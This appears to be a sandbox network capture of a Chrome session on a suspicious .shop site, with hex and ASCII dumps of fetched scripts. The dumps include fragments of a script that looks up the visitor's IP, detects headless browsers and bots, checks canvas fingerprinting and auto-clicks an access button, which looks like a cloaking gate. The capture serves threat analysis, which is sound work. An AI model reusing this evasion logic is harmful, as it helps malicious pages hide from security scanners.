3	192.168.2.10	49699	104.21.16.1	443	3376	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-04-15 18:06:21 UTC	609	OUT	GET /script.js HTTP/1.1 Host: nero.kempo-karic.shop Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://nero.kempo-karic.shop/?rtkcid=67fea01a335d4814fb08ba90&rtkcmpid=67f6835c479eb29c9fc8721b Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-04-15 18:06:21 UTC	1140	IN	HTTP/1.1 200 OK Date: Tue, 15 Apr 2025 18:06:21 GMT Content-Type: text/javascript Transfer-Encoding: chunked Connection: close Cf-Ray: 930d60572e06c8e4-MIA Server: cloudflare Cf-Cache-Status: HIT Access-Control-Allow-Origin: * Age: 5838 Cache-Control: max-age=14400 Etag: W/"0x8DD5D7C0C04328D" Last-Modified: Fri, 07 Mar 2025 13:29:11 GMT Vary: Accept-Encoding Content-Md5: ik/hdPfUVQKmlpX5KgzdOQ== X-Content-Type-Options: nosniff X-Frame-Options: DENY X-Ms-Request-Id: ccfc316d-901e-0002-17b6-ac4658000000 X-Ms-Version: 2018-03-28 Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=47TxXGMbiuz0oILQrDC4z%2BGTljEluJ1snj%2FUKtRbP3Q%2FBMSwQlbrmQT%2Fjy%2FVb%2BIh3ZkDjMiVskTQzBKTbLTAluMZOZFmjqwp92HSaDs0bovSKwlIfnpj0c7NMjO3qHduiCdgBpowXkk%3D"}],"group":"cf-nel","max_age":604800} Nel: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=126177&min_rtt=126148&rtt_var=26653&sent=6&recv=8&lost=0&retrans=0&sent_bytes=2845&recv_bytes=1181&delivery_rate=31986&cwnd=252&unsent_bytes=0&cid=b8dcfb53888d161f&ts=822&x=0"
2025-04-15 18:06:21 UTC	229	IN	Data Raw: 66 36 35 0d 0a 61 73 79 6e 63 20 66 75 6e 63 74 69 6f 6e 20 67 65 74 55 73 65 72 49 50 28 29 20 7b 0d 0a 20 20 20 20 74 72 79 20 7b 0d 0a 20 20 20 20 20 20 20 20 63 6f 6e 73 74 20 72 65 73 70 6f 6e 73 65 20 3d 20 61 77 61 69 74 20 66 65 74 63 68 28 27 68 74 74 70 73 3a 2f 2f 61 70 69 36 34 2e 69 70 69 66 79 2e 6f 72 67 3f 66 6f 72 6d 61 74 3d 6a 73 6f 6e 27 29 3b 0d 0a 20 20 20 20 20 20 20 20 63 6f 6e 73 74 20 64 61 74 61 20 3d 20 61 77 61 69 74 20 72 65 73 70 6f 6e 73 65 2e 6a 73 6f 6e 28 29 3b 0d 0a 20 20 20 20 20 20 20 20 72 65 74 75 72 6e 20 64 61 74 61 2e 69 70 3b 0d 0a 20 20 20 20 7d 20 63 61 74 63 68 20 28 65 72 72 6f 72 29 20 7b 0d 0a 20 20 20 20 20 20 20 20 63 6f 6e 73 Data Ascii: f65async function getUserIP() { try { const response = await fetch('https://api64.ipify.org?format=json'); const data = await response.json(); return data.ip; } catch (error) { cons
2025-04-15 18:06:21 UTC	1369	IN	Data Raw: 6f 6c 65 2e 65 72 72 6f 72 28 27 46 61 69 6c 65 64 20 74 6f 20 67 65 74 20 49 50 3a 27 2c 20 65 72 72 6f 72 29 3b 0d 0a 20 20 20 20 20 20 20 20 72 65 74 75 72 6e 20 27 30 2e 30 2e 30 2e 30 27 3b 20 2f 2f 20 44 65 66 61 75 6c 74 20 49 50 20 69 6e 20 63 61 73 65 20 6f 66 20 65 72 72 6f 72 0d 0a 20 20 20 20 7d 0d 0a 7d 0d 0a 0d 0a 2f 2f 20 e2 9c 85 20 46 75 6e 63 74 69 6f 6e 20 74 6f 20 44 65 74 65 63 74 20 43 61 6e 76 61 73 20 46 69 6e 67 65 72 70 72 69 6e 74 69 6e 67 0d 0a 66 75 6e 63 74 69 6f 6e 20 69 73 43 61 6e 76 61 73 42 6c 6f 63 6b 65 64 28 29 20 7b 0d 0a 20 20 20 20 74 72 79 20 7b 0d 0a 20 20 20 20 20 20 20 20 63 6f 6e 73 74 20 63 61 6e 76 61 73 20 3d 20 64 6f 63 75 6d 65 6e 74 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 22 63 61 6e 76 61 73 22 29 Data Ascii: ole.error('Failed to get IP:', error); return '0.0.0.0'; // Default IP in case of error }}// Function to Detect Canvas Fingerprintingfunction isCanvasBlocked() { try { const canvas = document.createElement("canvas")
2025-04-15 18:06:21 UTC	1369	IN	Data Raw: 61 73 42 6c 6f 63 6b 65 64 43 68 65 63 6b 7d 60 29 3b 0d 0a 0d 0a 20 20 20 20 72 65 74 75 72 6e 20 69 73 42 6f 74 55 73 65 72 41 67 65 6e 74 20 7c 7c 20 28 69 73 48 65 61 64 6c 65 73 73 20 26 26 20 69 73 53 75 73 70 69 63 69 6f 75 73 45 78 65 63 75 74 69 6f 6e 29 3b 0d 0a 7d 0d 0a 0d 0a 61 73 79 6e 63 20 66 75 6e 63 74 69 6f 6e 20 73 74 61 72 74 4c 6f 61 64 69 6e 67 28 29 20 7b 0d 0a 20 20 20 20 64 6f 63 75 6d 65 6e 74 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 28 27 2e 70 72 6f 67 72 65 73 73 2d 63 6f 6e 74 61 69 6e 65 72 27 29 2e 73 74 79 6c 65 2e 64 69 73 70 6c 61 79 20 3d 20 27 62 6c 6f 63 6b 27 3b 0d 0a 20 20 20 20 6c 65 74 20 70 72 6f 63 65 73 73 69 6e 67 54 65 78 74 20 3d 20 64 6f 63 75 6d 65 6e 74 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 27 Data Ascii: asBlockedCheck}`); return isBotUserAgent \|\| (isHeadless && isSuspiciousExecution);}async function startLoading() { document.querySelector('.progress-container').style.display = 'block'; let processingText = document.getElementById('
2025-04-15 18:06:21 UTC	981	IN	Data Raw: 6b 28 29 20 7b 0d 0a 20 20 20 20 63 6f 6e 73 74 20 6f 62 73 65 72 76 65 72 20 3d 20 6e 65 77 20 4d 75 74 61 74 69 6f 6e 4f 62 73 65 72 76 65 72 28 28 29 20 3d 3e 20 7b 0d 0a 20 20 20 20 20 20 20 20 6c 65 74 20 61 63 63 65 73 73 42 74 6e 20 3d 20 64 6f 63 75 6d 65 6e 74 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 27 61 63 63 65 73 73 42 74 6e 27 29 3b 0d 0a 20 20 20 20 20 20 20 20 69 66 20 28 61 63 63 65 73 73 42 74 6e 20 26 26 20 61 63 63 65 73 73 42 74 6e 2e 73 74 79 6c 65 2e 64 69 73 70 6c 61 79 20 3d 3d 3d 20 27 62 6c 6f 63 6b 27 29 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 63 6f 6e 73 6f 6c 65 2e 6c 6f 67 28 22 e2 9c 85 20 42 75 74 74 6f 6e 20 64 65 74 65 63 74 65 64 2e 20 43 6c 69 63 6b 69 6e 67 20 61 75 74 6f 6d 61 74 69 63 61 6c 6c 79 2e Data Ascii: k() { const observer = new MutationObserver(() => { let accessBtn = document.getElementById('accessBtn'); if (accessBtn && accessBtn.style.display === 'block') { console.log(" Button detected. Clicking automatically.
2025-04-15 18:06:21 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.10	49700	104.21.16.1	443	3376	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-04-15 18:06:22 UTC	671	OUT	GET /favicon.ico HTTP/1.1 Host: nero.kempo-karic.shop Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://nero.kempo-karic.shop/?rtkcid=67fea01a335d4814fb08ba90&rtkcmpid=67f6835c479eb29c9fc8721b Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-04-15 18:06:23 UTC	1057	IN	HTTP/1.1 404 Not Found Date: Tue, 15 Apr 2025 18:06:23 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Cf-Ray: 930d605e48d5e9ad-DFW Server: cloudflare Cf-Cache-Status: EXPIRED Access-Control-Allow-Origin: * Cache-Control: max-age=14400 Vary: Accept-Encoding X-Content-Type-Options: nosniff X-Frame-Options: DENY X-Ms-Error-Code: WebContentNotFound X-Ms-Request-Id: 45d0ca1c-901e-0002-1d31-ae4658000000 X-Ms-Version: 2018-03-28 Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=93PnrhXdLQO35JYf0xg%2BWGo9GJ6lrYRGx%2BmPOzecpLMxtHevBKd7EW4thpK2ktn4Aa8o1liy9zP%2FWhqiJ%2FTz%2BUp1knRO1VSFIBxunMpEC4UIYTzjAMmqXYSQO%2B9yrH8UBnUr0bNBobE%3D"}],"group":"cf-nel","max_age":604800} Nel: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=122424&min_rtt=122419&rtt_var=25832&sent=6&recv=8&lost=0&retrans=0&sent_bytes=2845&recv_bytes=1243&delivery_rate=32978&cwnd=86&unsent_bytes=0&cid=9af4de560b29e91c&ts=1179&x=0"
2025-04-15 18:06:23 UTC	312	IN	Data Raw: 31 34 31 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 57 65 62 43 6f 6e 74 65 6e 74 4e 6f 74 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 3c 68 31 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 63 6f 6e 74 65 6e 74 20 64 6f 65 73 20 6e 6f 74 20 65 78 69 73 74 2e 3c 2f 68 31 3e 3c 70 3e 3c 75 6c 3e 3c 6c 69 3e 48 74 74 70 53 74 61 74 75 73 43 6f 64 65 3a 20 34 30 34 3c 2f 6c 69 3e 3c 6c 69 3e 45 72 72 6f 72 43 6f 64 65 3a 20 57 65 62 43 6f 6e 74 65 6e 74 4e 6f 74 46 6f 75 6e 64 3c 2f 6c 69 3e 3c 6c 69 3e 52 65 71 75 65 73 74 49 64 20 3a 20 34 35 64 30 63 61 31 63 2d 39 30 31 65 2d 30 30 30 32 2d 31 64 33 31 2d 61 65 34 36 35 38 30 30 30 30 30 30 3c 2f 6c 69 3e 3c Data Ascii: 141<!DOCTYPE html><html><head><title>WebContentNotFound</title></head><body><h1>The requested content does not exist.</h1><p><ul><li>HttpStatusCode: 404</li><li>ErrorCode: WebContentNotFound</li><li>RequestId : 45d0ca1c-901e-0002-1d31-ae4658000000</li><
2025-04-15 18:06:23 UTC	16	IN	Data Raw: 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: </body></html>
2025-04-15 18:06:23 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.10	49705	104.21.16.1	443	3376	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-04-15 18:06:22 UTC	539	OUT	GET /cdn-cgi/challenge-platform/scripts/jsd/main.js HTTP/1.1 Host: nero.kempo-karic.shop Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-04-15 18:06:22 UTC	960	IN	HTTP/1.1 302 Found Date: Tue, 15 Apr 2025 18:06:22 GMT Content-Length: 0 Connection: close Cf-Ray: 930d605f48363026-MIA Server: cloudflare Location: /cdn-cgi/challenge-platform/h/b/scripts/jsd/580ba44007a6/main.js? Cache-Control: max-age=300, stale-if-error=10800, stale-while-revalidate=10800, public Access-Control-Allow-Origin: * Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=CfUkDiKkWXTdpPkYzmSqN2dOcZWIaEGaeA9yy5ZSD3ULWlqDD1PSh%2B61IzTZ3QuK1jeILLccEKP1cW0zWNu9x2BtzFbJ5Kcd3bDaOPO%2FG0pyNlnmfh9aJBR%2FPDHtsU%2BumfdrSGrDhRg%3D"}],"group":"cf-nel","max_age":604800} Nel: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} X-Content-Type-Options: nosniff alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=121125&min_rtt=121067&rtt_var=25626&sent=6&recv=8&lost=0&retrans=0&sent_bytes=2844&recv_bytes=1111&delivery_rate=33303&cwnd=252&unsent_bytes=0&cid=24aa0536e5442cde&ts=312&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.10	49706	104.21.16.1	443	3376	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-04-15 18:06:22 UTC	557	OUT	GET /cdn-cgi/challenge-platform/h/b/scripts/jsd/580ba44007a6/main.js? HTTP/1.1 Host: nero.kempo-karic.shop Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-04-15 18:06:23 UTC	906	IN	HTTP/1.1 200 OK Date: Tue, 15 Apr 2025 18:06:23 GMT Content-Type: application/javascript; charset=UTF-8 Content-Length: 8456 Connection: close Cf-Ray: 930d6062cf9396ee-MIA Server: cloudflare Cache-Control: max-age=14400, stale-if-error=10800, stale-while-revalidate=10800, public X-Content-Type-Options: nosniff Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=43Y2WAZAtLXlnSiNqVV%2Bx5y9okAMENdSU9vy07HlzvaS5hDjE8Az0emCbbJUk3sHycpP6oS8whBs5dyvzBHO9hfzrz%2Ff65%2F0ibJwuvBMVdTWCcX2xka0qn6IQAo5jj1dlOLPiC%2Fnn5g%3D"}],"group":"cf-nel","max_age":604800} Nel: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=121654&min_rtt=121145&rtt_var=26320&sent=6&recv=8&lost=0&retrans=0&sent_bytes=2844&recv_bytes=1129&delivery_rate=32911&cwnd=252&unsent_bytes=0&cid=13be37ac182be361&ts=309&x=0"
2025-04-15 18:06:23 UTC	463	IN	Data Raw: 77 69 6e 64 6f 77 2e 5f 63 66 5f 63 68 6c 5f 6f 70 74 3d 7b 63 46 50 57 76 3a 27 62 27 7d 3b 7e 66 75 6e 63 74 69 6f 6e 28 57 2c 68 2c 69 2c 6a 2c 6f 2c 73 2c 7a 2c 41 29 7b 57 3d 62 2c 66 75 6e 63 74 69 6f 6e 28 63 2c 64 2c 56 2c 65 2c 66 29 7b 66 6f 72 28 56 3d 62 2c 65 3d 63 28 29 3b 21 21 5b 5d 3b 29 74 72 79 7b 69 66 28 66 3d 2d 70 61 72 73 65 49 6e 74 28 56 28 33 32 39 29 29 2f 31 2b 70 61 72 73 65 49 6e 74 28 56 28 32 32 38 29 29 2f 32 2a 28 2d 70 61 72 73 65 49 6e 74 28 56 28 33 33 30 29 29 2f 33 29 2b 2d 70 61 72 73 65 49 6e 74 28 56 28 33 31 39 29 29 2f 34 2a 28 70 61 72 73 65 49 6e 74 28 56 28 33 34 32 29 29 2f 35 29 2b 2d 70 61 72 73 65 49 6e 74 28 56 28 32 33 37 29 29 2f 36 2a 28 70 61 72 73 65 49 6e 74 28 56 28 32 33 30 29 29 2f 37 29 2b 2d Data Ascii: window._cf_chl_opt={cFPWv:'b'};~function(W,h,i,j,o,s,z,A){W=b,function(c,d,V,e,f){for(V=b,e=c();!![];)try{if(f=-parseInt(V(329))/1+parseInt(V(228))/2(-parseInt(V(330))/3)+-parseInt(V(319))/4(parseInt(V(342))/5)+-parseInt(V(237))/6*(parseInt(V(230))/7)+-
2025-04-15 18:06:23 UTC	1369	IN	Data Raw: 6e 63 74 69 6f 6e 28 58 2c 64 2c 65 2c 66 29 7b 72 65 74 75 72 6e 20 58 3d 57 2c 64 3d 53 74 72 69 6e 67 5b 58 28 32 39 39 29 5d 2c 65 3d 7b 27 68 27 3a 66 75 6e 63 74 69 6f 6e 28 45 29 7b 72 65 74 75 72 6e 20 6e 75 6c 6c 3d 3d 45 3f 27 27 3a 65 2e 67 28 45 2c 36 2c 66 75 6e 63 74 69 6f 6e 28 46 2c 59 29 7b 72 65 74 75 72 6e 20 59 3d 62 2c 59 28 32 34 35 29 5b 59 28 33 31 37 29 5d 28 46 29 7d 29 7d 2c 27 67 27 3a 66 75 6e 63 74 69 6f 6e 28 45 2c 46 2c 47 2c 5a 2c 48 2c 49 2c 4a 2c 4b 2c 4c 2c 4d 2c 4e 2c 4f 2c 50 2c 51 2c 52 2c 53 2c 54 2c 55 29 7b 69 66 28 5a 3d 58 2c 6e 75 6c 6c 3d 3d 45 29 72 65 74 75 72 6e 27 27 3b 66 6f 72 28 49 3d 7b 7d 2c 4a 3d 7b 7d 2c 4b 3d 27 27 2c 4c 3d 32 2c 4d 3d 33 2c 4e 3d 32 2c 4f 3d 5b 5d 2c 50 3d 30 2c 51 3d 30 2c 52 3d Data Ascii: nction(X,d,e,f){return X=W,d=String[X(299)],e={'h':function(E){return null==E?'':e.g(E,6,function(F,Y){return Y=b,Y(245)[Y(317)](F)})},'g':function(E,F,G,Z,H,I,J,K,L,M,N,O,P,Q,R,S,T,U){if(Z=X,null==E)return'';for(I={},J={},K='',L=2,M=3,N=2,O=[],P=0,Q=0,R=
2025-04-15 18:06:23 UTC	1369	IN	Data Raw: 4d 61 74 68 5b 5a 28 32 33 33 29 5d 28 32 2c 4e 29 2c 4e 2b 2b 29 2c 64 65 6c 65 74 65 20 4a 5b 4b 5d 7d 65 6c 73 65 20 66 6f 72 28 55 3d 49 5b 4b 5d 2c 48 3d 30 3b 48 3c 4e 3b 50 3d 50 3c 3c 31 2e 39 39 7c 55 26 31 2c 46 2d 31 3d 3d 51 3f 28 51 3d 30 2c 4f 5b 5a 28 33 30 34 29 5d 28 47 28 50 29 29 2c 50 3d 30 29 3a 51 2b 2b 2c 55 3e 3e 3d 31 2c 48 2b 2b 29 3b 4c 2d 2d 2c 30 3d 3d 4c 26 26 4e 2b 2b 7d 66 6f 72 28 55 3d 32 2c 48 3d 30 3b 48 3c 4e 3b 50 3d 50 3c 3c 31 7c 31 2e 36 31 26 55 2c 46 2d 31 3d 3d 51 3f 28 51 3d 30 2c 4f 5b 5a 28 33 30 34 29 5d 28 47 28 50 29 29 2c 50 3d 30 29 3a 51 2b 2b 2c 55 3e 3e 3d 31 2c 48 2b 2b 29 3b 66 6f 72 28 3b 3b 29 69 66 28 50 3c 3c 3d 31 2c 51 3d 3d 46 2d 31 29 7b 4f 5b 5a 28 33 30 34 29 5d 28 47 28 50 29 29 3b 62 72 Data Ascii: Math[Z(233)](2,N),N++),delete J[K]}else for(U=I[K],H=0;H<N;P=P<<1.99\|U&1,F-1==Q?(Q=0,O[Z(304)](G(P)),P=0):Q++,U>>=1,H++);L--,0==L&&N++}for(U=2,H=0;H<N;P=P<<1\|1.61&U,F-1==Q?(Q=0,O[Z(304)](G(P)),P=0):Q++,U>>=1,H++);for(;;)if(P<<=1,Q==F-1){O[Z(304)](G(P));br
2025-04-15 18:06:23 UTC	1369	IN	Data Raw: 3d 55 29 55 3d 4d 2b 4d 5b 61 32 28 33 31 37 29 5d 28 30 29 3b 65 6c 73 65 20 72 65 74 75 72 6e 20 6e 75 6c 6c 3b 4c 5b 61 32 28 33 30 34 29 5d 28 55 29 2c 48 5b 4a 2b 2b 5d 3d 4d 2b 55 5b 61 32 28 33 31 37 29 5d 28 30 29 2c 49 2d 2d 2c 4d 3d 55 2c 30 3d 3d 49 26 26 28 49 3d 4d 61 74 68 5b 61 32 28 32 33 33 29 5d 28 32 2c 4b 29 2c 4b 2b 2b 29 7d 7d 7d 2c 66 3d 7b 7d 2c 66 5b 58 28 33 33 37 29 5d 3d 65 2e 68 2c 66 7d 28 29 2c 6f 3d 7b 7d 2c 6f 5b 57 28 32 35 30 29 5d 3d 27 6f 27 2c 6f 5b 57 28 32 34 31 29 5d 3d 27 73 27 2c 6f 5b 57 28 33 30 37 29 5d 3d 27 75 27 2c 6f 5b 57 28 32 35 33 29 5d 3d 27 7a 27 2c 6f 5b 57 28 32 37 39 29 5d 3d 27 6e 27 2c 6f 5b 57 28 33 34 31 29 5d 3d 27 49 27 2c 6f 5b 57 28 32 37 35 29 5d 3d 27 62 27 2c 73 3d 6f 2c 68 5b 57 28 32 Data Ascii: =U)U=M+M[a2(317)](0);else return null;L[a2(304)](U),H[J++]=M+U[a2(317)](0),I--,M=U,0==I&&(I=Math[a2(233)](2,K),K++)}}},f={},f[X(337)]=e.h,f}(),o={},o[W(250)]='o',o[W(241)]='s',o[W(307)]='u',o[W(253)]='z',o[W(279)]='n',o[W(341)]='I',o[W(275)]='b',s=o,h[W(2
2025-04-15 18:06:23 UTC	1369	IN	Data Raw: 65 63 74 5b 61 63 28 33 33 35 29 5d 28 63 29 29 2c 63 3d 4f 62 6a 65 63 74 5b 61 63 28 33 30 35 29 5d 28 63 29 29 3b 72 65 74 75 72 6e 20 64 7d 66 75 6e 63 74 69 6f 6e 20 6c 28 61 34 2c 63 2c 64 2c 65 2c 66 29 7b 72 65 74 75 72 6e 20 61 34 3d 57 2c 63 3d 68 5b 61 34 28 32 39 35 29 5d 2c 64 3d 33 36 30 30 2c 65 3d 4d 61 74 68 5b 61 34 28 33 30 38 29 5d 28 2b 61 74 6f 62 28 63 2e 74 29 29 2c 66 3d 4d 61 74 68 5b 61 34 28 33 30 38 29 5d 28 44 61 74 65 5b 61 34 28 32 39 38 29 5d 28 29 2f 31 65 33 29 2c 66 2d 65 3e 64 3f 21 5b 5d 3a 21 21 5b 5d 7d 66 75 6e 63 74 69 6f 6e 20 6e 28 45 2c 46 2c 61 39 2c 47 2c 48 2c 49 2c 4a 2c 4b 2c 4c 2c 4d 2c 4e 29 7b 69 66 28 61 39 3d 57 2c 21 6b 28 2e 30 31 29 29 72 65 74 75 72 6e 21 5b 5d 3b 48 3d 28 47 3d 7b 7d 2c 47 5b 61 Data Ascii: ect[ac(335)](c)),c=Object[ac(305)](c));return d}function l(a4,c,d,e,f){return a4=W,c=h[a4(295)],d=3600,e=Math[a4(308)](+atob(c.t)),f=Math[a4(308)](Date[a4(298)]()/1e3),f-e>d?![]:!![]}function n(E,F,a9,G,H,I,J,K,L,M,N){if(a9=W,!k(.01))return![];H=(G={},G[a
2025-04-15 18:06:23 UTC	1369	IN	Data Raw: 67 65 4d 73 2c 66 75 6e 63 74 69 6f 6e 2c 65 76 65 6e 74 2c 62 69 67 69 6e 74 2c 35 4a 59 48 77 4d 49 2c 72 65 61 64 79 53 74 61 74 65 2c 64 69 73 70 6c 61 79 3a 20 6e 6f 6e 65 2c 32 32 39 34 38 74 6a 44 67 69 4b 2c 74 69 6d 65 6f 75 74 2c 37 4e 6f 63 47 4d 6c 2c 6d 73 67 2c 50 4f 53 54 2c 70 6f 77 2c 69 6e 63 6c 75 64 65 73 2c 62 69 6e 64 2c 72 65 6d 6f 76 65 43 68 69 6c 64 2c 31 35 34 31 32 33 38 79 62 4b 6d 4a 67 2c 65 72 72 6f 72 20 6f 6e 20 63 66 5f 63 68 6c 5f 70 72 6f 70 73 2c 6f 70 65 6e 2c 63 6f 6e 63 61 74 2c 73 74 72 69 6e 67 2c 58 4d 4c 48 74 74 70 52 65 71 75 65 73 74 2c 73 6f 72 74 2c 69 6e 64 65 78 4f 66 2c 66 71 6d 52 6a 2b 4c 31 57 76 75 4b 2d 35 73 36 56 67 68 78 44 63 24 79 70 72 74 33 4f 59 45 55 6c 47 58 64 42 69 77 34 4d 7a 49 54 48 Data Ascii: geMs,function,event,bigint,5JYHwMI,readyState,display: none,22948tjDgiK,timeout,7NocGMl,msg,POST,pow,includes,bind,removeChild,1541238ybKmJg,error on cf_chl_props,open,concat,string,XMLHttpRequest,sort,indexOf,fqmRj+L1WvuK-5s6VghxDc$yprt3OYEUlGXdBiw4MzITH
2025-04-15 18:06:23 UTC	1148	IN	Data Raw: 63 74 69 6f 6e 28 29 7b 7d 2c 69 5b 61 69 28 33 30 36 29 5d 3d 66 75 6e 63 74 69 6f 6e 28 61 6b 29 7b 61 6b 3d 61 69 2c 45 28 29 2c 69 5b 61 6b 28 33 34 33 29 5d 21 3d 3d 61 6b 28 32 39 33 29 26 26 28 69 5b 61 6b 28 33 30 36 29 5d 3d 45 2c 66 28 29 29 7d 29 7d 66 75 6e 63 74 69 6f 6e 20 6d 28 63 2c 64 2c 61 35 2c 65 2c 66 29 7b 61 35 3d 57 2c 65 3d 68 5b 61 35 28 32 39 35 29 5d 2c 66 3d 6e 65 77 20 68 5b 28 61 35 28 32 34 32 29 29 5d 28 29 2c 66 5b 61 35 28 32 33 39 29 5d 28 61 35 28 32 33 32 29 2c 61 35 28 32 36 35 29 2b 68 5b 61 35 28 32 39 30 29 5d 5b 61 35 28 32 34 39 29 5d 2b 61 35 28 32 37 32 29 2b 65 2e 72 29 2c 65 5b 61 35 28 33 31 36 29 5d 26 26 28 66 5b 61 35 28 32 32 39 29 5d 3d 35 65 33 2c 66 5b 61 35 28 32 34 36 29 5d 3d 66 75 6e 63 74 69 6f Data Ascii: ction(){},i[ai(306)]=function(ak){ak=ai,E(),i[ak(343)]!==ak(293)&&(i[ak(306)]=E,f())})}function m(c,d,a5,e,f){a5=W,e=h[a5(295)],f=new h[(a5(242))](),f[a5(239)](a5(232),a5(265)+h[a5(290)][a5(249)]+a5(272)+e.r),e[a5(316)]&&(f[a5(229)]=5e3,f[a5(246)]=functio

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.10	49707	104.21.16.1	443	3376	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-04-15 18:06:23 UTC	719	OUT	POST /cdn-cgi/challenge-platform/h/b/jsd/r/0.3809236297663976:1744738218:dh8UM0OA3R3TRKLnGxn5QeCH6HsMhAaIP_IuOoiA6TU/930d6048ad517b37 HTTP/1.1 Host: nero.kempo-karic.shop Connection: keep-alive Content-Length: 16755 sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" Content-Type: text/plain;charset=UTF-8 sec-ch-ua-mobile: ?0 Accept: / Origin: https://nero.kempo-karic.shop Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-04-15 18:06:23 UTC	16384	OUT	Data Raw: 35 6b 57 6c 52 6d 71 4f 52 74 57 52 70 2b 2d 71 51 71 30 66 4b 6c 6d 61 66 4c 47 66 68 53 68 56 56 6d 4f 71 32 36 66 6a 50 61 5a 50 76 57 66 42 6a 6e 44 2d 50 74 71 34 66 70 51 57 31 48 6b 6b 66 4c 64 56 66 73 66 56 61 56 57 71 66 45 56 71 77 2d 6f 6c 64 74 6b 46 65 55 6c 6a 50 67 6b 47 4c 39 34 30 2b 31 33 6c 77 67 52 69 47 4a 71 39 36 6a 64 68 66 52 57 57 72 68 42 6d 46 48 66 63 31 48 76 4d 46 66 4d 6c 2b 42 66 6d 69 57 66 68 6c 6d 6d 6c 67 70 6c 68 66 71 50 66 4b 74 58 66 71 4a 46 66 75 41 4f 4c 31 6b 6e 71 4c 64 48 57 66 6d 41 46 66 6d 2d 44 4b 66 44 6d 66 71 46 45 76 43 57 55 34 47 61 6d 31 6d 71 4d 77 47 6b 36 52 67 38 79 4d 6a 66 